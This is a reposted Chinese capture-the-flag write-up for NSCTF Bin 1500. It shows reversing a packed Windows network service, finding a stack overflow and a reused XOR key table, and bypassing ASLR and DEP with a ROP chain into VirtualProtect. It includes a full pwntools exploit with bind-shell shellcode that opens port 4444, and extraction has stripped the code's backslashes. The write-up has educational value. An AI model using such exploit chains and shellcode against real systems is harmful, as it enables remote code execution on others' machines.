NSCTF Bin 1500

admin 2023-12-08 17:02:14 AnQuanKeInfo 来源:ZONE.CI 全球网 0 阅读模式

https://p1.ssl.qhimg.com/t01c9cb13ed18cbe52a.jpg

实战中体验了次 DEP & ASLR 的绕过。

Fuzz 溢出点

题目里只给了个 PE 程序,运行程序后 netstat -anbp tcp 可以看到程序正在监听 2994 端口。PEiD 查看发现是 AsPack 的壳,ESP 定律 脱壳后丢到 IDA 中搜索欢迎信息(shift F12),F5 得到如下伪代码:

1234567891011121314151617181920212223242526
int __cdecl sub_401120(SOCKET s){  	··· SNIP ···if ( !sub_4016BE(&buf, "ENCRYPT ", 8) ){v12 = (int)&v10;sub_4010C0(s, (int)&v10);}if ( !sub_4016BE(&buf, "STATUS", 7) ){v4 = GetModuleHandleA(0);sub_405EB0(&buf, 0, 1452);sub_40177E(&buf, 1452, "OK: Current Module Load @ 0x%.8Xn", v4);send(s, &buf, strlen(&buf), 0);}if ( !sub_4016BE(&buf, "EXIT", 4) ){sub_405EB0(&buf, 0, 1452);sub_40179C("Session Exit:SOCKET[%d]n", s);sub_40177E(&buf, 1452, "Session Exit:SOCKET[%d]", s);result = send(s, &buf, strlen(&buf), 0);if ( s == -1 )return result;return closesocket(s);}··· SNIP ···

可以发现只有三个操作,简单 Fuzz 下就会发现 ENCRYPT 函数会导致程序崩溃:

图 1

图 1
接下来需要做的就是具体的分析 ENCRYPT 函数。

分析溢出函数

跟进 10C0 可以看到函数取了输入的前两位并将剩余的一起放入 1030 中:

12345678910111213
int __cdecl sub_4010C0(SOCKET s, int a2){unsigned __int16 v2; // cx@1char buf[4]; // [sp+10h] [bp-204h]@1char v5; // [sp+14h] [bp-200h]@1v2 = *(_WORD *)a2;                            // a2 => ABCEEFG// v2 => AB*(_DWORD *)buf = *(_WORD *)a2;                // buf => ecx => ABCDEFGH前两字节 => ABsub_401030(v2, (int)&v5, a2 + 2);             // a2+2 => CDEFGHsend(s, buf, 2, 0);return send(s, &v5, *(unsigned __int16 *)buf, 0);}

继续跟进,终于看到真正的操作了。

12345678910111213141516171819202122232425262728293031323334353637383940414243
int __usercall sub_401030@<eax>(signed int a1@<ebx>, int a2, int a3){int v3; // eax@2signed int v4; // esi@2int v5; // edi@3int result; // eax@5int v7; // edx@7int v8; // ecx@8int v9; // edi@9if ( !byte_40F95C )                           // 异或表{v3 = sub_401566(0);sub_4015B7(v3);v4 = (signed int)dword_40F968;do{v5 = sub_4015C9() << 16;*(_DWORD *)v4 = v5 + sub_4015C9();v4 += 4;}while ( v4 < (signed int)&dword_40F9E8 );byte_40F95C = 1;                            // 只生成1次异或表}result = a1 / 4;                              // 控制异或次数if ( a1 & 3 )++result;v7 = 0;if ( result > 0 ){v8 = a2;do{v9 = *(_DWORD *)(a3 - a2 + v8) ^ dword_40F968[v7++ & 0x1F];// v7 => edx、edi(edx计数、edi保存)// 取key and后保存在edi中// 与输入异或保存在edi中*(_DWORD *)v8 = v9;                       // memcpy!造成溢出。v8 += 4;}while ( v7 < result );}return result;}

可以看出前两个字符用于控制需要加密的数据大小,接下来的则是需要加密的数据。这里存在两个问题:

  • 异或表只生成了一次,可以通过第一次异或的结果推导出 Key,进而可以控制第二次生成的密文。

  • 未对输入长度进行判断,导致了栈溢出。

手工二分法大致判断出溢出长度为 500 到 1000 之间,通过mona.py生成的字符串可以定位覆盖 EIP 的具体长度。

对抗 DEP & ASLR

就此题而言,对抗 ASLR 很简单,因为 STATUS 命令会直接返回模块加载的基地址。通过 ROP 绕过 DEP,在 IDA 里可以看到官方给写好很多小配件(helper 段):

图 2

图 2

结合这些小配件就可以编写出自己的 ROP 链,最终的 EXP 如下:

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108
#coding: utf-8from pwn import *HOST = sys.argv[1]conn = remote(HOST, 2994)conn.newline = "rn"# get welcome messageconn.recv()# get addrlog.info("try to get the base addr")conn.sendline("STATUS")base = int(conn.recv().strip()[-10:], 16)log.success("base addr => {}".format(hex(base)))# first encryption, to get the tablelog.info("send the first packet, try to get the table")conn.sendline("ENCRYPT x80x00" + "x00"*0x80)conn.recv()table = conn.recv()# second encryption, exploit itlog.info("send the second packet, try to exploit it")payload = "x90" * 0x200# save esp to eax, ebxpayload += pack(base+0x1001)              # mov eax, esp; retnpayload += pack(base+0x1004)              # mov ebx, eax; retn# point ebx to shellcodepayload += pack(base+0x1015)              # add ebx, 20; retnpayload += pack(base+0x1015)              # add ebx, 20; retnpayload += pack(base+0x1015)              # add ebx, 20; retnpayload += pack(base+0x1015)              # add ebx, 20; retnpayload += pack(base+0x1015)              # add ebx, 20; retn# point eax to parameter1payload += pack(base+0x100e)              # add eax, 10; retnpayload += pack(base+0x100e)              # add eax, 10; retnpayload += pack(base+0x100e)              # add eax, 10; retnpayload += pack(base+0x100e)              # add eax, 10; retnpayload += pack(base+0x100e)              # add eax, 10; retnpayload += pack(base+0x3814)              # pop ecx; retnpayload += pack(0x4)payload += pack(base+0x5c0a)              # sub eax, ecx; retn# modify parameter 1payload += pack(base+0x1007)              # mov dword ptr ds:[eax],ebx; retn# point eax to ret addr & modify retpayload += pack(base+0x100a)              # sub eax, 4; retnpayload += pack(base+0x1007)              # mov dword ptr ds:[eax],ebx; retn# call VirtualProtectpayload += pack(base+0x101b)              # push kernel32.VirtualProtect; retnpayload += "AAAA"                         # retpayload += "BBBB"                         # lpAddresspayload += pack(0x200)                    # dwsizepayload += pack(0x40)                     # flNewProtectpayload += pack(0x00010000)               # lpflOldProtectpayload += "x90" * 0x10# shellcode for bind shellpayload += "xfcxe8x82x00x00x00x60x89xe5x31xc0x64x8b"payload += "x50x30x8bx52x0cx8bx52x14x8bx72x28x0fxb7"payload += "x4ax26x31xffxacx3cx61x7cx02x2cx20xc1xcf"payload += "x0dx01xc7xe2xf2x52x57x8bx52x10x8bx4ax3c"payload += "x8bx4cx11x78xe3x48x01xd1x51x8bx59x20x01"payload += "xd3x8bx49x18xe3x3ax49x8bx34x8bx01xd6x31"payload += "xffxacxc1xcfx0dx01xc7x38xe0x75xf6x03x7d"payload += "xf8x3bx7dx24x75xe4x58x8bx58x24x01xd3x66"payload += "x8bx0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0"payload += "x89x44x24x24x5bx5bx61x59x5ax51xffxe0x5f"payload += "x5fx5ax8bx12xebx8dx5dx68x33x32x00x00x68"payload += "x77x73x32x5fx54x68x4cx77x26x07xffxd5xb8"payload += "x90x01x00x00x29xc4x54x50x68x29x80x6bx00"payload += "xffxd5x6ax08x59x50xe2xfdx40x50x40x50x68"payload += "xeax0fxdfxe0xffxd5x97x68x02x00x11x5cx89"payload += "xe6x6ax10x56x57x68xc2xdbx37x67xffxd5x57"payload += "x68xb7xe9x38xffxffxd5x57x68x74xecx3bxe1"payload += "xffxd5x57x97x68x75x6ex4dx61xffxd5x68x63"payload += "x6dx64x00x89xe3x57x57x57x31xf6x6ax12x59"payload += "x56xe2xfdx66xc7x44x24x3cx01x01x8dx44x24"payload += "x10xc6x00x44x54x50x56x56x56x46x56x4ex56"payload += "x56x53x56x68x79xccx3fx86xffxd5x89xe0x4e"payload += "x56x46xffx30x68x08x87x1dx60xffxd5xbbxf0"payload += "xb5xa2x56x68xa6x95xbdx9dxffxd5x3cx06x7c"payload += "x0ax80xfbxe0x75x05xbbx47x13x72x6fx6ax00"payload += "x53xffxd5"# xor encode payloadpayload = xor(table, payload, cut="right")conn.sendline("ENCRYPT {}{}".format(p16(len(payload)), payload))# close the connectionconn.close()# interact with shellconn = remote(HOST, 4444)log.success("enjoy :)")conn.interactive(prompt="")conn.close()

图 3

图 3
小 tip:这题做题是只要求弹出计算器,所以没必要构造完整的 ROP,利用程序自带的开新进程就可以达到题目要求。

weinxin
版权声明
本站原创文章转载请注明文章出处及链接,谢谢合作!
NSCTF Bin 1500 AnQuanKeInfo

NSCTF Bin 1500

实战中体验了次 DEP & ASLR 的绕过。 Fuzz 溢出点 题目里只给了个 PE 程序,运行程序后 netstat -anbp tcp 可以看到程序正在监
评论:0   参与:  0